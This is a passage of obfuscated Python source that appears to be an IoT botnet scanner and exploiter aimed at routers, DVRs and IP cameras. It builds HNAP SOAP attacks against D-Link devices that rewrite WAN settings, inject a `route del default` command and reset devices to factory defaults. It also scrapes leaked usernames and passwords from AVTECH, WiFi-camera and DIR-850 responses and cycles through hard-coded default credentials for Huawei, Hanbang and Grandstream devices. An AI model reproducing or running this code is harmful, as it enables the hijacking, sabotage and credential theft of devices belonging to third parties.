'hnapxpand:admin/admin:GetDeviceSettings/SetWanSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:admin/admin:GetDeviceSettings:SetWanSettings:<Type>Static</Type><IPAddress>10.%%RAND8%%</IPAddress><SubnetMask>255.255.255.0</SubnetMask><Gateway>10.%%COMP8%%</Gateway>' ,
'hnapxpand:admin/admin:GetDeviceSettings/`route${IFS}del${IFS}default`:GetDeviceSettings:' ,
'hnapxpand:admin/admin:GetDeviceSettings/SetFactoryDefault:SetFactoryDefault:' ,
'GET / HTTP/1.1\r\nHost: %%TARGETIP%%\r\n\r\n' ,
] ,
]
if 51 - 51: OOOoOooO / OOOoOooO
if 42 - 42: o0oooooO % Oooo + Oo0
O0O = "SPLTX"
if 58 - 58: o0ooO / O0oo0OOOOO00 + O0oo / Ii11i1iIi - I11I1Ii
if 17 - 17: i1
time . sleep ( 1 )
if 82 - 82: IIiIIiIii1I - I11I1Ii % IIiIii1iI % O0oo0OOOOO00 - Oo0Oo
for OoOoOoo0OOo00 in range ( len ( o0O0oO ) ) :
for o00OOO in range ( len ( o0O0oO [ OoOoOoo0OOo00 ] ) ) :
Oo00oO0O = re . search ( 'hnapxpand:([^:/]*)/([^:]*):([^:]+):([^:]+):(.*)$' , o0O0oO [ OoOoOoo0OOo00 ] [ o00OOO ] )
if Oo00oO0O :
o0O0oO [ OoOoOoo0OOo00 ] [ o00OOO ] = 'POST /HNAP1/ HTTP/1.0\r\nAuthorization: Basic %s\r\nContent-Type: text/xml; charset="utf-8"\r\nSOAPAction: http://purenetworks.com/HNAP1/%s\r\nContent-Length: %%%%BODYLENGTH%%%%\r\n\r\n<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><soap:Body><%s xmlns="http://purenetworks.com/HNAP1/">%s</%s></soap:Body></soap:Envelope>' % ( binascii . b2a_base64 ( '%s:%s' % ( Oo00oO0O . group ( 1 ) , Oo00oO0O . group ( 2 ) ) ) . strip ( ) , Oo00oO0O . group ( 3 ) , Oo00oO0O . group ( 4 ) , Oo00oO0O . group ( 5 ) , Oo00oO0O . group ( 4 ) )
Oo00oO0O = re . search ( 'xtsxpand:([^:]+):(\d+)' , o0O0oO [ OoOoOoo0OOo00 ] [ o00OOO ] )
if Oo00oO0O :
o0O0oO [ OoOoOoo0OOo00 ] [ o00OOO ] = 'POST /dvrcmd HTTP/1.1\r\nHost: %%%%TARGETIP%%%%\r\nContent-Type: text/plain;charset=UTF-8\r\nContent-Length: %%%%BODYLENGTH%%%%\r\n\r\nTSCommand=ptz_req&req=start&param=%s&channel=%s&stream=1' % ( Oo00oO0O . group ( 1 ) , Oo00oO0O . group ( 2 ) )
Oo00oO0O = re . search ( 'xnrxpand:([^:]+):(\d+)' , o0O0oO [ OoOoOoo0OOo00 ] [ o00OOO ] )
if Oo00oO0O :
o0O0oO [ OoOoOoo0OOo00 ] [ o00OOO ] = 'POST /dvrcmd HTTP/1.1\r\nHost: %%%%TARGETIP%%%%\r\nContent-Type: text/plain;charset=UTF-8\r\nContent-Length: %%%%BODYLENGTH%%%%\r\n\r\ncommand=ptz_req&req=start&param=%s&channel=%s&stream=1' % ( Oo00oO0O . group ( 1 ) , Oo00oO0O . group ( 2 ) )
time . sleep ( 1 )
if 85 - 85: Oo0Oo - Oo0 * I11I1Ii . IIiII
if 62 - 62: oOoO0Ooo / O0oo0OOOOO00 * OOooOO0 - o0ooO - OOOoOooO
if 27 - 27: Oo0Oo * Ii11i1iIi
i11IiiI1I = [ ]
o0o0000OO = { }
O0000o0 = { }
O0Oooo0ooo0 = { }
IIi1i1iiii1Ii = { }
Ooo000Oo = { }
IIiiI = { }
if 27 - 27: Oo0 % I11I1Ii * o0ooO - Ii11i1iIi
O000oo0 = [ ]
O0oOoo = { }
o0O00OO = { }
OO0 = { }
o0Oo00O0O0 = { }
ooOoO0o = { }
I1I1IIi1i1I = { }
IiIi11iii = { }
IIi1i = { }
IIIiI = { }
IiiI1II1111I1 = { }
ooOo = { }
iIiIi1II11 = { }
Ii1ii = { }
iIi1I1IiIiiIi = { }
O0oOO = { }
if 15 - 15: Ii % oOoO0Ooo + oOOo0000o - O0oo
if 69 - 69: Oo0Oo + i1IIi1i1iiI . IIiII + o0oooooO
def oOo0OOO0000 ( targetip , targetport , bannerhint , loginhint = '' , passwordhint = '' ) :
global o0O0oO
global OO00oo0o
if 31 - 31: Oo0Oo * I11I1Ii % oOOoO00oo0 + IIiIii1iI * IIiII
if not OO00oo0o :
return
if 52 - 52: Oo0Oo
O0000oO0O = ( targetip , int ( targetport ) )
I11i1I = hash ( O0000oO0O )
if I11i1I in O000oo0 :
if 66 - 66: Ii * o0oooooO + Ii11i1iIi - OOOoOooO * IIiIii1iI
return ;
if 40 - 40: o0ooO / i1 * i1 * Ii11i1iIi
if 28 - 28: O0oo0OOOOO00 - Oo0Oo * OOooOO0
if 83 - 83: oOoO0Ooo * IIiII / IIiII + i1
iii = ''
ooOOO0oo0Oo00 = [ ]
for I1I1iIIi11I in o0O0oO :
if re . search ( I1I1iIIi11I [ 1 ] , bannerhint ) :
if 82 - 82: Oooo % Oo0
iii = I1I1iIIi11I [ 0 ] ;
ooOOO0oo0Oo00 = I1I1iIIi11I [ 2 : ]
if 92 - 92: IIiII - Ii11i1iIi . oOOoO00oo0 . oOOo0000o
break
if 88 - 88: o0ooO * o0oooooO / Oooo
if not iii :
if 99 - 99: oOOoO00oo0 * i1 / IIiII * Ii / IIiIii1iI
return
if 34 - 34: Oo0 + Ii11i1iIi / oOOoO00oo0
ooOoO0o [ I11i1I ] = 0
I1I1IIi1i1I [ I11i1I ] = ooOOO0oo0Oo00
o0Oo00O0O0 [ I11i1I ] = iii
if 60 - 60: i1IIi1i1iiI / oOOoO00oo0 % Oo0
O0oOoo [ I11i1I ] = ( targetip , int ( targetport ) , bannerhint )
o0O00OO [ I11i1I ] = 0
OO0 [ I11i1I ] = None
IiIi11iii [ I11i1I ] = loginhint
IIi1i [ I11i1I ] = passwordhint
IIIiI [ I11i1I ] = ""
IiiI1II1111I1 [ I11i1I ] = ""
ooOo [ I11i1I ] = ""
iIiIi1II11 [ I11i1I ] = ""
Ii1ii [ I11i1I ] = ""
O0oOO [ I11i1I ] = 0
O000oo0 . append ( I11i1I )
if 41 - 41: i1 . oOoO0Ooo - IIiIii1iI . i1 / I11I1Ii / IIiII
def oOoo0 ( targetip , targetport , request , jobhash ) :
O0000oO0O = ( targetip , int ( targetport ) )
if 81 - 81: oOOo0000o + OOooOO0 / OOooOO0 * Ii11i1iIi / IIiIIiIii1I - oOoO0Ooo
O0OOo00o00o = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
O0OOo00o00o . setblocking ( 0 )
if 46 - 46: Oo0Oo + Ii - i1 % IIiIIiIii1I
try :
O0OOo00o00o . connect ( O0000oO0O )
except :
pass
if 16 - 16: IIiIIiIii1I % O0oo0OOOOO00
I11i1I = hash ( O0OOo00o00o )
i11IiiI1I . append ( O0OOo00o00o )
o0o0000OO [ I11i1I ] = ( targetip , int ( targetport ) , request )
IIi1i1iiii1Ii [ I11i1I ] = 0
Ooo000Oo [ I11i1I ] = request
O0Oooo0ooo0 [ I11i1I ] = ''
IIiiI [ I11i1I ] = time . time ( )
O0000o0 [ I11i1I ] = jobhash
OO0 [ jobhash ] = O0OOo00o00o
iIi1I1IiIiiIi [ jobhash ] = ''
return O0OOo00o00o
if 77 - 77: Ii - IIiII
def oo0O0o0Oo ( webhash ) :
global i11iiiIi
if 17 - 17: O0oo0OOOOO00 . IIiIIiIii1I + OOooOO0 % Oo0 * IIiII - Oo0Oo
if 53 - 53: oOOo0000o / I11I1Ii + IIiIIiIii1I
if 67 - 67: Ii
if webhash in o0Oo00O0O0 and o0Oo00O0O0 [ webhash ] == 'hnap' and IIi1i [ webhash ] == '' :
pass
else :
if 64 - 64: i1IIi1i1iiI
if webhash in o0Oo00O0O0 and o0Oo00O0O0 [ webhash ] != '' and i11iiiIi :
if IIIiI [ webhash ] :
if 30 - 30: O0oo0OOOOO00 * oOOoO00oo0 * I11I1Ii + Oo0Oo / Oo0Oo
if 88 - 88: i1IIi1i1iiI % O0oo - Oo0Oo * Oo0
iIi1I1IiIiiIi [ webhash ] = IIIiI [ webhash ] + ':' + iIi1I1IiIiiIi [ webhash ]
if 24 - 24: IIiII
Ii111i11iIi ( "%s:%d WP:%s:%s/%s:%s" % ( O0oOoo [ webhash ] [ 0 ] , O0oOoo [ webhash ] [ 1 ] , o0Oo00O0O0 [ webhash ] , IiIi11iii [ webhash ] , IIi1i [ webhash ] , iIi1I1IiIiiIi [ webhash ] ) )
if 78 - 78: I11I1Ii . Oooo . IIiIii1iI
if 60 - 60: oOoO0Ooo % Oo0 + oOOo0000o / oOOo0000o
if webhash in o0Oo00O0O0 and o0Oo00O0O0 [ webhash ] == 'xionghash' and IIi1i [ webhash ] != '' :
IIi1IIii11I1I ( O0oOoo [ webhash ] [ 0 ] , int ( O0oOoo [ webhash ] [ 1 ] ) )
if 23 - 23: OOooOO0 % i1 % OOOoOooO
OoO00Ooo0OoOo0O0Oo ( O0oOoo [ webhash ] [ 0 ] , 9527 , 'PORT:9527:' )
if 93 - 93: Oooo % oOoO0Ooo + Oo0 * O0oo * i1
if 79 - 79: i1 + I11I1Ii / oOOoO00oo0
ooOoO0o [ webhash ] = None
I1I1IIi1i1I [ webhash ] = None
O0oOoo [ webhash ] = None
o0O00OO [ webhash ] = None
OO0 [ webhash ] = None
o0Oo00O0O0 [ webhash ] = None
IiIi11iii [ webhash ] = None
IIi1i [ webhash ] = None
IIIiI [ webhash ] = None
IiiI1II1111I1 [ webhash ] = None
ooOo [ webhash ] = None
iIiIi1II11 [ webhash ] = None
Ii1ii [ webhash ] = None
O0oOO [ webhash ] = None
O000oo0 . remove ( webhash )
if 31 - 31: O0oo0OOOOO00 - oOOo0000o * oOOoO00oo0 - OOooOO0 - o0ooO
def oooo0o0 ( f ) :
i1i1iII1I = bytearray ( )
O0OooO0Oo0O = 0
while O0OooO0Oo0O < len ( f ) :
oOOO00O0 = f [ O0OooO0Oo0O ]
if oOOO00O0 is None or oOOO00O0 == '\0' :
return str ( i1i1iII1I )
else :
i1i1iII1I . append ( oOOO00O0 )
O0OooO0Oo0O += 1
if 72 - 72: oOoO0Ooo
def ii1I1I1i ( boundary , vals ) :
O0o0oo0000 = ''
for ooOO00oOo in vals :
O0o0oo0000 += boundary + '\r\n'
O0o0oo0000 += 'Content-Disposition: form-data; name="' + ooOO00oOo [ 0 ] + '"\r\n\r\n' + ooOO00oOo [ 1 ] + '\r\n'
O0o0oo0000 += boundary + '--\r\n'
return O0o0oo0000
if 81 - 81: Oo0Oo / Ii
def iIiIii111Ii ( sock ) :
global webclient_maxattempts
global iI1iiii11I11I
global IIIIiI
if 74 - 74: Oo0Oo . OOOoOooO % o0ooO + IIiII * IIiIIiIii1I . oOOo0000o
I11i1I = hash ( sock )
iiIii1I1i1 = O0000o0 [ I11i1I ]
if 94 - 94: Oo0 + OOOoOooO - IIiIii1iI
if not O0oOO [ iiIii1I1i1 ] :
try :
sock . close ( )
except :
pass
else :
print "Debug: Skipping sock close due to keepalive"
pass
if 98 - 98: O0oo % Ii11i1iIi . Ii11i1iIi * Ii
OOoOoooOo0 = 0
if 19 - 19: oOOoO00oo0 % I11I1Ii * OOooOO0
iIi1I1IiIiiIi [ iiIii1I1i1 ] = '' ;
try :
iIi1I1IiIiiIi [ iiIii1I1i1 ] = O0Oooo0ooo0 [ I11i1I ] . split ( '\n' ) [ 0 ] . strip ( )
except :
pass
if 28 - 28: i1
iii = o0Oo00O0O0 [ iiIii1I1i1 ]
if 33 - 33: Oo0Oo / IIiIIiIii1I * I11I1Ii - i1IIi1i1iiI + O0oo0OOOOO00
if iii == 'kguard' :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
if not 'MCTP/1.0 2' in O0Oooo0ooo0 [ I11i1I ] :
ooOoO0o [ iiIii1I1i1 ] = 99
else :
IiIi11iii [ iiIii1I1i1 ] = 'xesp'
ooOoO0o [ iiIii1I1i1 ] += 1
if 25 - 25: IIiIIiIii1I % IIiIii1iI / OOooOO0
if iii == 'hnap' :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
if not 'purenetworks' in O0Oooo0ooo0 [ I11i1I ] :
ooOoO0o [ iiIii1I1i1 ] = 99
else :
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
ooOoO0o [ iiIii1I1i1 ] += 1
if 11 - 11: oOOoO00oo0 % OOOoOooO + OOOoOooO % OOooOO0
if iii == 'avtech' :
if 44 - 44: i1 + oOOoO00oo0 - oOOoO00oo0 * OOOoOooO * Ii11i1iIi
if ooOoO0o [ iiIii1I1i1 ] == 0 :
if 84 - 84: O0oo0OOOOO00 * IIiIii1iI % i1IIi1i1iiI
if 6 - 6: oOOoO00oo0 . OOooOO0 - i1 - Oo0
if 31 - 31: Oo0 % Oo0 / Ii
if 22 - 22: OOooOO0 . Oooo
if 87 - 87: OOOoOooO
oOo0O0O = ''
IIIIiiIIIiiII = ''
for O00O0oOoo in O0Oooo0ooo0 [ I11i1I ] . split ( ) :
i1IiiIIIi = O00O0oOoo . split ( '=' )
if ( len ( i1IiiIIIi ) == 2 ) :
if ( i1IiiIIIi [ 0 ] == 'Account.User1.Username' ) :
oOo0O0O = i1IiiIIIi [ 1 ]
elif ( i1IiiIIIi [ 0 ] == 'Account.User1.Password' ) :
IIIIiiIIIiiII = i1IiiIIIi [ 1 ]
break
if ( i1IiiIIIi [ 0 ] == 'Account.User2.Username' ) :
oOo0O0O = i1IiiIIIi [ 1 ]
elif ( i1IiiIIIi [ 0 ] == 'Account.User2.Password' ) :
IIIIiiIIIiiII = i1IiiIIIi [ 1 ]
break
if ( i1IiiIIIi [ 0 ] == 'Account.User3.Username' ) :
oOo0O0O = i1IiiIIIi [ 1 ]
elif ( i1IiiIIIi [ 0 ] == 'Account.User3.Password' ) :
IIIIiiIIIiiII = i1IiiIIIi [ 1 ]
break
if 77 - 77: Ii11i1iIi . oOOo0000o % IIiIIiIii1I . oOOo0000o * i1
if 86 - 86: oOOo0000o % I11I1Ii . oOOo0000o . O0oo
if IIIIiiIIIiiII == '' :
oOo0O0O = 'admin'
IIIIiiIIIiiII = 'admin'
IiIi11iii [ iiIii1I1i1 ] = oOo0O0O
IIi1i [ iiIii1I1i1 ] = IIIIiiIIIiiII
IiiI1II1111I1 [ iiIii1I1i1 ] = binascii . b2a_base64 ( '%s:%s' % ( oOo0O0O , IIIIiiIIIiiII ) ) . strip ( )
ooOoO0o [ iiIii1I1i1 ] += 1
if iii == 'wificam' :
if 49 - 49: Oooo + i1IIi1i1iiI % IIiII
if ooOoO0o [ iiIii1I1i1 ] == 0 :
if 49 - 49: Oo0 + oOOoO00oo0 . OOooOO0 - Oo0Oo . o0oooooO
try :
O000OOo0oOOOo = O0Oooo0ooo0 [ I11i1I ] . find ( '\x0a\x0a\x0a\x0a\x01' )
oOo0O0O = ''
IIIIiiIIIiiII = ''
if O000OOo0oOOOo >= 0 :
O000OOo0oOOOo += ( 138 + 4 )
if 58 - 58: O0oo + OOOoOooO . o0oooooO * IIiIii1iI * O0oo0OOOOO00 * Ii
oOo0O0O = oooo0o0 ( O0Oooo0ooo0 [ I11i1I ] [ O000OOo0oOOOo : O000OOo0oOOOo + 31 ] )
IIIIiiIIIiiII = oooo0o0 ( O0Oooo0ooo0 [ I11i1I ] [ O000OOo0oOOOo + 32 : O000OOo0oOOOo + 63 ] )
if 85 - 85: IIiII + O0oo * OOOoOooO
ooOoO0o [ iiIii1I1i1 ] += 1
IiIi11iii [ iiIii1I1i1 ] = oOo0O0O
IIi1i [ iiIii1I1i1 ] = IIIIiiIIIiiII
except :
pass
ooOoO0o [ iiIii1I1i1 ] += 1
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
if 93 - 93: Ii - IIiIii1iI * IIiII % i1IIi1i1iiI * OOOoOooO - I11I1Ii
oOo0O0O = ''
IIIIiiIIIiiII = ''
Oo00oO0O = re . search ( 'loginuser="([^"]+)";' , O0Oooo0ooo0 [ I11i1I ] ) ;
if Oo00oO0O :
oOo0O0O = Oo00oO0O . group ( 1 )
Oo00oO0O = re . search ( 'loginpass="([^"]+)";' , O0Oooo0ooo0 [ I11i1I ] ) ;
if Oo00oO0O :
IIIIiiIIIiiII = Oo00oO0O . group ( 1 )
if 30 - 30: o0oooooO / IIiIIiIii1I + o0oooooO + IIiII + i1 + oOoO0Ooo
if 28 - 28: oOOo0000o + O0oo0OOOOO00 - oOOoO00oo0
if IIIIiiIIIiiII == '' and oOo0O0O == '' and IiIi11iii [ iiIii1I1i1 ] == '' :
if 46 - 46: o0oooooO
oOo0O0O = "admin"
IIIIiiIIIiiII = "admin"
if 75 - 75: o0ooO + IIiII + oOoO0Ooo + IIiIii1iI
if IiIi11iii [ iiIii1I1i1 ] == '' :
IiIi11iii [ iiIii1I1i1 ] = oOo0O0O
if IIi1i [ iiIii1I1i1 ] == '' :
IIi1i [ iiIii1I1i1 ] = IIIIiiIIIiiII
ooOoO0o [ iiIii1I1i1 ] += 1
elif ooOoO0o [ iiIii1I1i1 ] >= 2 :
ooOoO0o [ iiIii1I1i1 ] += 1
if 22 - 22: Oooo - OOooOO0 + O0oo0OOOOO00 + OOOoOooO % Oooo . Ii
if iii == 'homestation' :
if ooOoO0o [ iiIii1I1i1 ] <= 0 :
if 70 - 70: Ii11i1iIi * O0oo
IIIoOo = re . search ( 'sessionid\'\s*:\'(\S+)\'' , O0Oooo0ooo0 [ I11i1I ] )
if IIIoOo :
IiiI1II1111I1 [ iiIii1I1i1 ] = IIIoOo . group ( 1 )
IiIi11iii [ iiIii1I1i1 ] = 'TelefonicaUser'
IIi1i [ iiIii1I1i1 ] = 'user'
else :
if ooOoO0o [ iiIii1I1i1 ] >= 0 :
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
if 84 - 84: IIiIii1iI
if iii == 'observa' :
if ooOoO0o [ iiIii1I1i1 ] <= 0 :
if 55 - 55: I11I1Ii
IIIoOo = re . search ( 'sessionid\'\s*:\'(\S+)\'' , O0Oooo0ooo0 [ I11i1I ] )
I1I11 = re . search ( 'username\'\s*:\'(\S+)\'' , O0Oooo0ooo0 [ I11i1I ] )
i1iii1I1 = re . search ( 'password\'\s*:\'(\S+)\'' , O0Oooo0ooo0 [ I11i1I ] )
if IIIoOo and I1I11 and i1iii1I1 :
IiiI1II1111I1 [ iiIii1I1i1 ] = IIIoOo . group ( 1 )
ooOo [ iiIii1I1i1 ] = '' . join ( random . choice ( '0123456789' ) for i in range ( 8 ) )
iIiIi1II11 [ iiIii1I1i1 ] = ''
IiIi11iii [ iiIii1I1i1 ] = I1I11 . group ( 1 )
IIi1i [ iiIii1I1i1 ] = i1iii1I1 . group ( 1 )
else :
if ooOoO0o [ iiIii1I1i1 ] >= 0 :
ooOoO0o [ iiIii1I1i1 ] = 99
else :
Oo00oO0O = re . search ( 'G_Conns\S+\s+=\s+\"(\S+)\"\;\s+\S*Username' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
Ii1ii [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
Oo00oO0O = re . search ( '\d+@(\S+)' , Ii1ii [ iiIii1I1i1 ] )
if Oo00oO0O :
iIiIi1II11 [ iiIii1I1i1 ] = ooOo [ iiIii1I1i1 ] + '%40' + Oo00oO0O . group ( 1 )
else :
iIiIi1II11 [ iiIii1I1i1 ] = Ii1ii [ iiIii1I1i1 ]
ooOoO0o [ iiIii1I1i1 ] += 1
if 19 - 19: i1 % i1 % Oooo
if iii == 'hg532' :
if ooOoO0o [ iiIii1I1i1 ] <= 3 :
if 'SessionID_R3=' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
ooOo [ iiIii1I1i1 ] = 'OGM2OTc2ZTViNTQxMDQxNWJkZTkwOGJkNGRlZTE1ZGZiMTY3YTljODczZmM0YmI4YTgxZjZmMmFiNDQ4YTkxOA%3D%3D'
iIiIi1II11 [ iiIii1I1i1 ] = ''
ooOoO0o [ iiIii1I1i1 ] = 3
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
IiIi11iii [ iiIii1I1i1 ] = 'instalador'
IIi1i [ iiIii1I1i1 ] = '.corporacion'
ooOo [ iiIii1I1i1 ] = 'N2MwNGQxMzUzNzI1Y2ZkNzU4ZTFhYzNjM2JjZGRiMDkxNWNlNzA4OWU1NTlkODQ0Yjk2YTU4MjFmNTM1N2Y4Mg%3D%3D'
iIiIi1II11 [ iiIii1I1i1 ] = 'CNT_ES_'
ooOoO0o [ iiIii1I1i1 ] = 3
elif ooOoO0o [ iiIii1I1i1 ] == 2 :
IiIi11iii [ iiIii1I1i1 ] = 'instalador'
IIi1i [ iiIii1I1i1 ] = 'cnt2016admin'
ooOo [ iiIii1I1i1 ] = 'NjQzMGU0ZDBhMTMyYzI5Njg4NGUzMjNlOWJkMWM1MzJhODZmYmQ3OWJlYmUxN2U0Nzc1NDlmZjBkYjM0YzNiNA%3D%3D'
iIiIi1II11 [ iiIii1I1i1 ] = 'CNT_ES_'
ooOoO0o [ iiIii1I1i1 ] = 3
elif ooOoO0o [ iiIii1I1i1 ] == 3 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
ooOo [ iiIii1I1i1 ] = 'YWRtaW4%3D'
iIiIi1II11 [ iiIii1I1i1 ] = ''
ooOoO0o [ iiIii1I1i1 ] = 3
else :
if ooOoO0o [ iiIii1I1i1 ] == 2 :
if 96 - 96: Oo0 / oOOoO00oo0 / Oooo
o0O00OO [ iiIii1I1i1 ] = time . time ( ) + 65 ;
if ooOoO0o [ iiIii1I1i1 ] >= 3 :
ooOoO0o [ iiIii1I1i1 ] = 99
if 79 - 79: Oooo + IIiIIiIii1I % i1
Oo00oO0O = re . search ( 'SessionID_R3=([a-zA-Z0-9]+)' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
IiiI1II1111I1 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
ooOoO0o [ iiIii1I1i1 ] += 1
if 63 - 63: i1 % I11I1Ii / O0oo0OOOOO00 - IIiIIiIii1I / IIiIIiIii1I + IIiIIiIii1I
if iii == 'hg532a' :
if ooOoO0o [ iiIii1I1i1 ] <= 0 :
if 'sessionID=' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
ooOo [ iiIii1I1i1 ] = 'YWRtaW4='
iIiIi1II11 [ iiIii1I1i1 ] = ''
ooOoO0o [ iiIii1I1i1 ] = 0
else :
ooOoO0o [ iiIii1I1i1 ] = 99
if 95 - 95: OOOoOooO - I11I1Ii * O0oo % Oo0Oo - OOooOO0 * Oooo
Oo00oO0O = re . search ( 'sessionID=([a-zA-Z0-9]+)' , O0Oooo0ooo0 [ I11i1I ] )
if Oo00oO0O :
IiiI1II1111I1 [ iiIii1I1i1 ] = Oo00oO0O . group ( 1 )
ooOoO0o [ iiIii1I1i1 ] += 1
if 96 - 96: IIiIii1iI + I11I1Ii % I11I1Ii * i1
if iii == 'zxdsl831' :
if ooOoO0o [ iiIii1I1i1 ] <= 1 :
if 'vpivci.cgi' in O0Oooo0ooo0 [ I11i1I ] :
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
ooOoO0o [ iiIii1I1i1 ] = 1
else :
if ooOoO0o [ iiIii1I1i1 ] >= 1 :
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
if 41 - 41: OOOoOooO
if iii == 'engenius' :
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
ooOoO0o [ iiIii1I1i1 ] += 1
if 20 - 20: O0oo0OOOOO00 / Oooo * o0ooO / Ii11i1iIi + o0ooO
if iii == 'crossweb' :
if 69 - 69: Oooo . Oooo / IIiII + O0oo0OOOOO00 % Oo0Oo - OOooOO0
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
ooOoO0o [ iiIii1I1i1 ] += 1
if 26 - 26: IIiIii1iI . I11I1Ii - i1 . Oooo
if iii == 'hanbang' :
if ooOoO0o [ iiIii1I1i1 ] > 0 and ooOoO0o [ iiIii1I1i1 ] <= 5 :
if 25 - 25: Oo0
if 'Value>200</status' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 1 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '888888'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46ODg4ODg4'
ooOoO0o [ iiIii1I1i1 ] = 5
elif ooOoO0o [ iiIii1I1i1 ] == 2 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46YWRtaW4='
ooOoO0o [ iiIii1I1i1 ] = 5
elif ooOoO0o [ iiIii1I1i1 ] == 3 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '123456'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MTIzNDU2'
ooOoO0o [ iiIii1I1i1 ] = 5
elif ooOoO0o [ iiIii1I1i1 ] == 4 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '000000'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MDAwMDAw'
ooOoO0o [ iiIii1I1i1 ] = 5
elif ooOoO0o [ iiIii1I1i1 ] == 5 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '12345678'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MTIzNDU2Nzg='
ooOoO0o [ iiIii1I1i1 ] = 5
else :
if ooOoO0o [ iiIii1I1i1 ] >= 5 :
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
if 50 - 50: Oo0Oo / oOoO0Ooo - oOOoO00oo0 + IIiIIiIii1I
if iii == 'grandstream' :
if ooOoO0o [ iiIii1I1i1 ] <= 4 :
if 82 - 82: OOOoOooO * O0oo
if '200 OK' in O0Oooo0ooo0 [ I11i1I ] :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = 'admin'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46YWRtaW4='
ooOoO0o [ iiIii1I1i1 ] = 4
elif ooOoO0o [ iiIii1I1i1 ] == 1 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '12345'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MTIzNDU='
ooOoO0o [ iiIii1I1i1 ] = 4
elif ooOoO0o [ iiIii1I1i1 ] == 2 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '1234'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MTIzNA=='
ooOoO0o [ iiIii1I1i1 ] = 4
elif ooOoO0o [ iiIii1I1i1 ] == 3 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '123456'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46MTIzNDU2'
ooOoO0o [ iiIii1I1i1 ] = 4
elif ooOoO0o [ iiIii1I1i1 ] == 4 :
IiIi11iii [ iiIii1I1i1 ] = 'admin'
IIi1i [ iiIii1I1i1 ] = '888888'
IiiI1II1111I1 [ iiIii1I1i1 ] = 'YWRtaW46ODg4ODg4'
ooOoO0o [ iiIii1I1i1 ] = 4
else :
if ooOoO0o [ iiIii1I1i1 ] >= 4 :
ooOoO0o [ iiIii1I1i1 ] = 99
ooOoO0o [ iiIii1I1i1 ] += 1
if 14 - 14: IIiIii1iI + Oooo
if iii == 'dir300600' :
IiIi11iii [ iiIii1I1i1 ] = 'n'
IIi1i [ iiIii1I1i1 ] = 'a'
ooOoO0o [ iiIii1I1i1 ] += 1
if 67 - 67: IIiII
if iii == 'dir850' :
if ooOoO0o [ iiIii1I1i1 ] == 0 :
if '<gw_name>' in O0Oooo0ooo0 [ I11i1I ] :
IIIoOo = re . search ( 'name>([^<]+)</name' , O0Oooo0ooo0 [ I11i1I ] )
I1I11 = re . search ( 'password>(.*)</password>' , O0Oooo0ooo0 [ I11i1I ] )
if IIIoOo and I1I11 :
IiIi11iii [ iiIii1I1i1 ] = IIIoOo . group ( 1 )
IIi1i [ iiIii1I1i1 ] = I1I11 . group ( 1 )
if ooOoO0o [ iiIii1I1i1 ] == 1 :
if 54 - 54: IIiIIiIii1I + O0oo0OOOOO00 * Oooo - O0oo0OOOOO00 . O0oo
